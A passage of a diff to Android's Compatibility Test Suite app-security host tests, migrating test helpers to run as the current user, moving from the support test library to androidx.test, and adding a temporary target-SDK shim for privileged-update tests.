+    private void runDeviceTestsAsCurrentUser(
+            String packageName, String testClassName, String testMethodName)
+                throws DeviceNotAvailableException {
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
+    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java
index 28061f6..88c82f7 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java
@@ -17,6 +17,7 @@
 package android.appsecurity.cts;
 
 import android.platform.test.annotations.AppModeFull;
+
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
 import com.android.ddmlib.testrunner.TestResult.TestStatus;
@@ -40,7 +41,7 @@
 @AppModeFull // TODO: Needs porting to instant
 public class KeySetHostTest extends DeviceTestCase implements IBuildReceiver {
 
-    private static final String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+    private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
 
     /* package with device-side tests */
     private static final String KEYSET_TEST_PKG = "com.android.cts.keysets.testapp";
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java
index e1d913e..512a753 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java
@@ -71,7 +71,7 @@
         assertNull(getDevice().installPackage(
                 mBuildHelper.getTestFile(APK_000000000000ffff), false, false));
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runVersionDeviceTests("testCheckVersion");
+        runDeviceTestsAsCurrentUser("testCheckVersion");
         getDevice().uninstallPackage(PKG);
     }
 
@@ -79,7 +79,7 @@
         assertNull(getDevice().installPackage(
                 mBuildHelper.getTestFile(APK_000000ff00000000), false, false));
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runVersionDeviceTests("testCheckVersion");
+        runDeviceTestsAsCurrentUser("testCheckVersion");
         getDevice().uninstallPackage(PKG);
     }
 
@@ -87,19 +87,19 @@
         assertNull(getDevice().installPackage(
                 mBuildHelper.getTestFile(APK_000000000000ffff), false, false));
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runVersionDeviceTests("testCheckVersion");
+        runDeviceTestsAsCurrentUser("testCheckVersion");
         assertNull(getDevice().installPackage(
                 mBuildHelper.getTestFile(APK_00000000ffffffff), true, false));
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runVersionDeviceTests("testCheckVersion");
+        runDeviceTestsAsCurrentUser("testCheckVersion");
         assertNull(getDevice().installPackage(
                 mBuildHelper.getTestFile(APK_000000ff00000000), true, false));
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runVersionDeviceTests("testCheckVersion");
+        runDeviceTestsAsCurrentUser("testCheckVersion");
         assertNull(getDevice().installPackage(
                 mBuildHelper.getTestFile(APK_000000ffffffffff), true, false));
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runVersionDeviceTests("testCheckVersion");
+        runDeviceTestsAsCurrentUser("testCheckVersion");
         getDevice().uninstallPackage(PKG);
     }
 
@@ -107,29 +107,29 @@
         assertNull(getDevice().installPackage(
                 mBuildHelper.getTestFile(APK_000000ffffffffff), false, false));
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runVersionDeviceTests("testCheckVersion");
+        runDeviceTestsAsCurrentUser("testCheckVersion");
         assertEquals("INSTALL_FAILED_VERSION_DOWNGRADE", getDevice().installPackage(
                 mBuildHelper.getTestFile(APK_00000000ffffffff), true, false));
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runVersionDeviceTests("testCheckVersion");
+        runDeviceTestsAsCurrentUser("testCheckVersion");
         assertEquals("INSTALL_FAILED_VERSION_DOWNGRADE", getDevice().installPackage(
                 mBuildHelper.getTestFile(APK_000000ff00000000), true, false));
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runVersionDeviceTests("testCheckVersion");
+        runDeviceTestsAsCurrentUser("testCheckVersion");
         assertEquals("INSTALL_FAILED_VERSION_DOWNGRADE", getDevice().installPackage(
                 mBuildHelper.getTestFile(APK_000000000000ffff), true, false));
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runVersionDeviceTests("testCheckVersion");
+        runDeviceTestsAsCurrentUser("testCheckVersion");
         getDevice().uninstallPackage(PKG);
     }
 
-    private void runVersionDeviceTests(String testMethodName)
+    private void runDeviceTestsAsCurrentUser(String testMethodName)
             throws DeviceNotAvailableException {
-        runDeviceTests(PKG, PKG + ".VersionTest", testMethodName);
+        runDeviceTestsAsCurrentUser(PKG, PKG + ".VersionTest", testMethodName);
     }
 
-    private void runDeviceTests(String packageName, String testClassName, String testMethodName)
+    private void runDeviceTestsAsCurrentUser(String packageName, String testClassName, String testMethodName)
             throws DeviceNotAvailableException {
-        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageResolutionHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageResolutionHostTest.java
index 8e409bb..9337d97 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageResolutionHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageResolutionHostTest.java
@@ -43,6 +43,7 @@
 
     @Before
     public void setUp() throws Exception {
+        super.setUp();
         getDevice().uninstallPackage(TINY_PKG);
         mBuildHelper = new CompatibilityBuildHelper(getBuild());
     }
@@ -56,7 +57,7 @@
     @AppModeFull // TODO: Needs porting to instant
     public void testResolveOrderedActivity() throws Exception {
         getDevice().installPackage(mBuildHelper.getTestFile(TINY_APK), true);
-        Utils.runDeviceTests(getDevice(), TINY_PKG,
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), TINY_PKG,
                 ".PackageResolutionTest", "queryActivityOrdered");
         getDevice().uninstallPackage(TINY_PKG);
     }
@@ -65,7 +66,7 @@
     @AppModeFull // TODO: Needs porting to instant
     public void testResolveOrderedService() throws Exception {
         getDevice().installPackage(mBuildHelper.getTestFile(TINY_APK), true);
-        Utils.runDeviceTests(getDevice(), TINY_PKG,
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), TINY_PKG,
                 ".PackageResolutionTest", "queryServiceOrdered");
         getDevice().uninstallPackage(TINY_PKG);
     }
@@ -74,7 +75,7 @@
     @AppModeFull // TODO: Needs porting to instant
     public void testResolveOrderedReceiver() throws Exception {
         getDevice().installPackage(mBuildHelper.getTestFile(TINY_APK), true);
-        Utils.runDeviceTests(getDevice(), TINY_PKG,
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), TINY_PKG,
                 ".PackageResolutionTest", "queryReceiverOrdered");
         getDevice().uninstallPackage(TINY_PKG);
     }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
index 3d270b90..e04bf0a 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
@@ -403,6 +403,6 @@
 
     private void runDeviceTests(String packageName, String testClassName, String testMethodName)
             throws DeviceNotAvailableException {
-        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
index 5f59d34..8cc141d 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
@@ -17,23 +17,42 @@
 package android.appsecurity.cts;
 
 import android.platform.test.annotations.AppModeFull;
+
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.Log;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.metrics.proto.MetricMeasurement.Metric;
+import com.android.tradefed.result.ITestInvocationListener;
+import com.android.tradefed.result.TestDescription;
+import com.android.tradefed.testtype.AndroidJUnitTest;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IAbiReceiver;
 import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.InstrumentationTest;
 import com.android.tradefed.util.AbiFormatter;
 import com.android.tradefed.util.AbiUtils;
 
+import java.util.HashMap;
+
 /**
  * Tests that verify intent filters.
  */
-@AppModeFull // TODO: Needs porting to instant
+@AppModeFull(reason="Instant applications can never be system or privileged")
 public class PrivilegedUpdateTests extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
+    //---------- BEGIN: To handle updated target SDK; remove as b/128436757 ----------
+    private static final String SHIM_UPDATE_NEW_APK = "CtsShimPrivUpgradePrebuilt_v28.apk";
+    private static final String SHIM_UPDATE_NEW_FAIL_APK = "CtsShimPrivUpgradeWrongSHAPrebuilt_v28.apk";
+    private static final String TEST_PREPARER_APK = "CtsPrivilegedUpdatePreparer.apk";
+    private static final String TEST_PREPARER_PKG = "com.android.cts.privilegedupdate.preparer";
+    private static final String TARGET_SDK_METHOD = "getTargetSdk";
+    private static final String TARGET_SDK_KEY = "target_sdk";
+    private static final int DEFAULT_TARGET_SDK = 24;
+    private static final int NEW_TARGET_SDK = 28;
+    private int mTargetSdk = 0;
+    //---------- END: To handle updated target SDK; remove as b/128436757 ----------
     private static final String TAG = "PrivilegedUpdateTests";
     private static final String SHIM_PKG = "com.android.cts.priv.ctsshim";
     /** Package name of the tests to be run */
@@ -82,6 +101,10 @@
 
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(TEST_APK), false));
         getDevice().executeShellCommand("pm enable " + SHIM_PKG);
+        if (mTargetSdk == 0) {
+            mTargetSdk = DEFAULT_TARGET_SDK;
+            setTargetSdk();
+        }
     }
 
     @Override
@@ -96,7 +119,7 @@
     public void testPrivilegedAppUpgradeRestricted() throws Exception {
         getDevice().uninstallPackage(SHIM_PKG);
         assertEquals(RESTRICTED_UPGRADE_FAILURE, getDevice().installPackage(
-                mBuildHelper.getTestFile(SHIM_UPDATE_FAIL_APK), true));
+                mBuildHelper.getTestFile(getUpdateApk(true)), true));
     }
 
     public void testSystemAppPriorities() throws Exception {
@@ -117,7 +140,7 @@
         
         try {
             assertNull(getDevice().installPackage(
-                    mBuildHelper.getTestFile(SHIM_UPDATE_APK), true));
+                    mBuildHelper.getTestFile(getUpdateApk(false)), true));
             runDeviceTests(TEST_PKG, ".PrivilegedUpdateTest", "testPrivilegedAppUpgradePriorities");
         } finally {
             getDevice().uninstallPackage(SHIM_PKG);
@@ -141,7 +164,7 @@
         runDeviceTests(TEST_PKG, ".PrivilegedAppDisableTest", "testPrivAppAndEnabled");
         try {
             assertNull(getDevice().installPackage(
-                    mBuildHelper.getTestFile(SHIM_UPDATE_APK), true));
+                    mBuildHelper.getTestFile(getUpdateApk(false)), true));
             getDevice().executeShellCommand("pm disable-user " + SHIM_PKG);
             runDeviceTests(TEST_PKG, ".PrivilegedAppDisableTest", "testUpdatedPrivAppAndDisabled");
             getDevice().executeShellCommand("pm enable " + SHIM_PKG);
@@ -155,4 +178,43 @@
             throws DeviceNotAvailableException {
         Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
     }
+
+    //---------- BEGIN: To handle updated target SDK; remove as b/128436757 ----------
+    private String getUpdateApk(boolean fail) {
+        if (mTargetSdk == NEW_TARGET_SDK) {
+            if (fail) {
+                return SHIM_UPDATE_NEW_FAIL_APK;
+            }
+            return SHIM_UPDATE_NEW_APK;
+        }
+        if (fail) {
+            return SHIM_UPDATE_FAIL_APK;
+        }
+        return SHIM_UPDATE_APK;
+    }
+
+    private void setTargetSdk() throws Exception {
+        ITestInvocationListener listener = new TargetSdkListener();
+        AndroidJUnitTest instrTest = new AndroidJUnitTest();
+        instrTest.setInstallFile(mBuildHelper.getTestFile(TEST_PREPARER_APK));
+        instrTest.setDevice(getDevice());
+        instrTest.setPackageName(TEST_PREPARER_PKG);
+        instrTest.run(listener);
+    }
+
+    /* Special listener to retrieve the target sdk for the cts shim */
+    private class TargetSdkListener implements ITestInvocationListener {
+        @Override
+        public void testEnded(TestDescription test, HashMap<String, Metric> metrics) {
+            final Metric targetMetric = metrics.get(TARGET_SDK_KEY);
+            if (targetMetric == null) {
+                return;
+            }
+            try {
+                mTargetSdk = Integer.parseInt(targetMetric.getMeasurements().getSingleString());
+            } catch (NumberFormatException ignore) { }
+        }
+    }
+    //---------- END: To handle updated target SDK; remove as b/128436757 ----------
+
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
index f8841cb..0884818 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
@@ -127,7 +127,7 @@
     private void testSingleBase(boolean instant) throws Exception {
         new InstallMultiple().addApk(APK)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTests(PKG, CLASS, "testSingleBase");
+        runDeviceTestsAsCurrentUser(PKG, CLASS, "testSingleBase");
     }
 
     @AppModeInstant
@@ -143,7 +143,7 @@
     private void testDensitySingle(boolean instant) throws Exception {
         new InstallMultiple().addApk(APK).addApk(APK_mdpi)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTests(PKG, CLASS, "testDensitySingle");
+        runDeviceTestsAsCurrentUser(PKG, CLASS, "testDensitySingle");
     }
 
     @AppModeInstant
@@ -159,7 +159,7 @@
     private void testDensityAll(boolean instant) throws Exception {
         new InstallMultiple().addApk(APK).addApk(APK_mdpi).addApk(APK_hdpi).addApk(APK_xhdpi)
                 .addApk(APK_xxhdpi).addArg(instant ? "--instant" : "").run();
-        runDeviceTests(PKG, CLASS, "testDensityAll");
+        runDeviceTestsAsCurrentUser(PKG, CLASS, "testDensityAll");
     }
 
     /**
@@ -183,12 +183,12 @@
     private void testDensityBest(boolean instant) throws Exception {
         new InstallMultiple().addApk(APK).addApk(APK_mdpi)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTests(PKG, CLASS, "testDensityBest1");
+        runDeviceTestsAsCurrentUser(PKG, CLASS, "testDensityBest1");
 
         // Now splice in an additional split which offers better resources
         new InstallMultiple().inheritFrom(PKG).addApk(APK_xxhdpi)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTests(PKG, CLASS, "testDensityBest2");
+        runDeviceTestsAsCurrentUser(PKG, CLASS, "testDensityBest2");
     }
 
     /**
@@ -212,7 +212,7 @@
     private void testApi(boolean instant) throws Exception {
         new InstallMultiple().addApk(APK).addApk(APK_v7)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTests(PKG, CLASS, "testApi");
+        runDeviceTestsAsCurrentUser(PKG, CLASS, "testApi");
     }
 
     @AppModeInstant
@@ -228,7 +228,7 @@
     private void testLocale(boolean instant) throws Exception {
         new InstallMultiple().addApk(APK).addApk(APK_de).addApk(APK_fr)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTests(PKG, CLASS, "testLocale");
+        runDeviceTestsAsCurrentUser(PKG, CLASS, "testLocale");
     }
 
     /**
@@ -256,7 +256,7 @@
 
         new InstallMultiple().addApk(APK).addApk(apk)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTests(PKG, CLASS, "testNative");
+        runDeviceTestsAsCurrentUser(PKG, CLASS, "testNative");
     }
 
     /**
@@ -288,7 +288,7 @@
 
         new InstallMultiple().useNaturalAbi().addApk(APK).addApk(apk)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTests(PKG, CLASS, "testNative");
+        runDeviceTestsAsCurrentUser(PKG, CLASS, "testNative");
     }
 
     /**
@@ -343,7 +343,7 @@
             inst.useNaturalAbi();
         }
         inst.run();
-        runDeviceTests(PKG, CLASS, "testNative");
+        runDeviceTestsAsCurrentUser(PKG, CLASS, "testNative");
     }
 
     @AppModeInstant
@@ -451,7 +451,7 @@
     private void testDiffRevision(boolean instant) throws Exception {
         new InstallMultiple().addApk(APK).addApk(APK_DIFF_REVISION_v7)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTests(PKG, CLASS, "testRevision0_12");
+        runDeviceTestsAsCurrentUser(PKG, CLASS, "testRevision0_12");
     }
 
     @AppModeInstant
@@ -467,10 +467,10 @@
     private void testDiffRevisionInheritBase(boolean instant) throws Exception {
         new InstallMultiple().addApk(APK).addApk(APK_v7)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTests(PKG, CLASS, "testRevision0_0");
+        runDeviceTestsAsCurrentUser(PKG, CLASS, "testRevision0_0");
         new InstallMultiple().inheritFrom(PKG).addApk(APK_DIFF_REVISION_v7)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTests(PKG, CLASS, "testRevision0_12");
+        runDeviceTestsAsCurrentUser(PKG, CLASS, "testRevision0_12");
     }
 
     @AppModeInstant
@@ -486,10 +486,10 @@
     private void testDiffRevisionInheritSplit(boolean instant) throws Exception {
         new InstallMultiple().addApk(APK).addApk(APK_v7)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTests(PKG, CLASS, "testRevision0_0");
+        runDeviceTestsAsCurrentUser(PKG, CLASS, "testRevision0_0");
         new InstallMultiple().inheritFrom(PKG).addApk(APK_DIFF_REVISION)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTests(PKG, CLASS, "testRevision12_0");
+        runDeviceTestsAsCurrentUser(PKG, CLASS, "testRevision12_0");
     }
 
     @AppModeInstant
@@ -522,7 +522,7 @@
     private void testFeatureBase(boolean instant) throws Exception {
         new InstallMultiple().addApk(APK).addApk(APK_FEATURE)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTests(PKG, CLASS, "testFeatureBase");
+        runDeviceTestsAsCurrentUser(PKG, CLASS, "testFeatureBase");
     }
 
     @AppModeInstant
@@ -538,7 +538,7 @@
     private void testFeatureApiInstant(boolean instant) throws Exception {
         new InstallMultiple().addApk(APK).addApk(APK_FEATURE).addApk(APK_FEATURE_v7)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTests(PKG, CLASS, "testFeatureApi");
+        runDeviceTestsAsCurrentUser(PKG, CLASS, "testFeatureApi");
     }
 
     @AppModeFull
@@ -571,10 +571,10 @@
 
         if (instant) {
             // Poke the full app so it can see the instant app.
-            runDeviceTests(PKG_NO_RESTART, CLASS_NO_RESTART, "testPokeFullApp");
+            runDeviceTestsAsCurrentUser(PKG_NO_RESTART, CLASS_NO_RESTART, "testPokeFullApp");
         }
 
-        runDeviceTests(PKG, CLASS, "testBaseInstalled");
+        runDeviceTestsAsCurrentUser(PKG, CLASS, "testBaseInstalled");
 
         new InstallMultiple()
                 .addArg(instant ? "--instant" : "")
@@ -582,7 +582,7 @@
                 .inheritFrom(PKG_NO_RESTART)
                 .addApk(APK_NO_RESTART_FEATURE)
                 .run();
-        runDeviceTests(PKG, CLASS, "testFeatureInstalled");
+        runDeviceTestsAsCurrentUser(PKG, CLASS, "testFeatureInstalled");
     }
 
     /**
@@ -604,10 +604,10 @@
     private void testClearCodeCache(boolean instant) throws Exception {
         new InstallMultiple().addApk(APK)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTests(PKG, CLASS, "testCodeCacheWrite");
+        runDeviceTestsAsCurrentUser(PKG, CLASS, "testCodeCacheWrite");
         new InstallMultiple().addArg("-r").addApk(APK_DIFF_VERSION)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTests(PKG, CLASS, "testCodeCacheRead");
+        runDeviceTestsAsCurrentUser(PKG, CLASS, "testCodeCacheRead");
     }
 
     private class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
@@ -616,8 +616,9 @@
         }
     }
 
-    public void runDeviceTests(String packageName, String testClassName, String testMethodName)
-            throws DeviceNotAvailableException {
-        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
+    public void runDeviceTestsAsCurrentUser(
+            String packageName, String testClassName, String testMethodName)
+                    throws DeviceNotAvailableException {
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java
index a8c3dd9..7ac3efb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java
@@ -69,21 +69,22 @@
 
     public void testUsesLibrary() throws Exception {
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK), false, false));
-        runDeviceTests(PKG, ".UsesLibraryTest", "testUsesLibrary");
+        runDeviceTestsAsCurrentUser(PKG, ".UsesLibraryTest", "testUsesLibrary");
     }
 
     public void testMissingLibrary() throws Exception {
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK), false, false));
-        runDeviceTests(PKG, ".UsesLibraryTest", "testMissingLibrary");
+        runDeviceTestsAsCurrentUser(PKG, ".UsesLibraryTest", "testMissingLibrary");
     }
 
     public void testDuplicateLibrary() throws Exception {
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK), false, false));
-        runDeviceTests(PKG, ".UsesLibraryTest", "testDuplicateLibrary");
+        runDeviceTestsAsCurrentUser(PKG, ".UsesLibraryTest", "testDuplicateLibrary");
     }
 
-    private void runDeviceTests(String packageName, String testClassName, String testMethodName)
-            throws DeviceNotAvailableException {
-        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
+    private void runDeviceTestsAsCurrentUser(
+            String packageName, String testClassName, String testMethodName)
+                    throws DeviceNotAvailableException {
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
index c63720f..fda6551 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
@@ -32,6 +32,19 @@
 public class Utils {
     public static final int USER_SYSTEM = 0;
 
+    public static void runDeviceTestsAsCurrentUser(ITestDevice device, String packageName,
+            String testClassName, String testMethodName) throws DeviceNotAvailableException {
+        runDeviceTests(device, packageName, testClassName, testMethodName, device.getCurrentUser(),
+                null);
+    }
+
+    public static void runDeviceTestsAsCurrentUser(ITestDevice device, String packageName,
+            String testClassName, String testMethodName, Map<String, String> testArgs)
+                    throws DeviceNotAvailableException {
+        runDeviceTests(device, packageName, testClassName, testMethodName, device.getCurrentUser(),
+                testArgs);
+    }
+
     public static void runDeviceTests(ITestDevice device, String packageName, String testClassName,
             String testMethodName) throws DeviceNotAvailableException {
         runDeviceTests(device, packageName, testClassName, testMethodName, USER_SYSTEM, null);
@@ -64,7 +77,7 @@
             testClassName = packageName + testClassName;
         }
         RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(packageName,
-                "android.support.test.runner.AndroidJUnitRunner", device.getIDevice());
+                "androidx.test.runner.AndroidJUnitRunner", device.getIDevice());
         // timeout_msec is the timeout per test for instrumentation
         testRunner.addInstrumentationArg("timeout_msec", Long.toString(unit.toMillis(timeout)));
         if (testClassName != null && testMethodName != null) {
@@ -127,10 +140,11 @@
     public static int[] prepareMultipleUsers(ITestDevice device, int maxUsers)
             throws DeviceNotAvailableException {
         final int[] userIds = getAllUsers(device);
+        int currentUserId = device.getCurrentUser();
         for (int i = 1; i < userIds.length; i++) {
             if (i < maxUsers) {
                 device.startUser(userIds[i]);
-            } else {
+            } else if (userIds[i] != currentUserId) {
                 device.stopUser(userIds[i]);
             }
         }
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.mk b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.mk
index bfb88f0..190dd07 100644
--- a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/AndroidManifest.xml
index 6976c56..8587474 100644
--- a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/AndroidManifest.xml
@@ -22,7 +22,7 @@
     <application/>
 
     <instrumentation
-            android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="android.os.cts" />
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.mk b/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.mk
index 4bdb346..dd893aa 100644
--- a/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.mk
@@ -20,8 +20,8 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    android-support-test \
+    compatibility-device-util-axt \
+    androidx.test.rules \
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialModern/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AccessSerialModern/AndroidManifest.xml
index 2eb5777..eef7a8f 100644
--- a/hostsidetests/appsecurity/test-apps/AccessSerialModern/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialModern/AndroidManifest.xml
@@ -26,7 +26,7 @@
     </application>
 
     <instrumentation
-            android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="android.os.cts" />
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialModern/src/android/os/cts/AccessSerialModernTest.java b/hostsidetests/appsecurity/test-apps/AccessSerialModern/src/android/os/cts/AccessSerialModernTest.java
index acbb30c..47832cf 100644
--- a/hostsidetests/appsecurity/test-apps/AccessSerialModern/src/android/os/cts/AccessSerialModernTest.java
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialModern/src/android/os/cts/AccessSerialModernTest.java
@@ -20,7 +20,8 @@
 import static junit.framework.Assert.fail;
 
 import android.os.Build;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
 
 import org.junit.Test;
 
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk b/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk
index 615492c..b55656e 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
index 6a846fc..d47b4bd 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
@@ -28,7 +28,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.cts.appaccessdata"
                      android:label="Test to create app data."/>
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk b/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk
index c719665..2966c48 100644
--- a/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
index 2accec1..cf9d404 100644
--- a/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
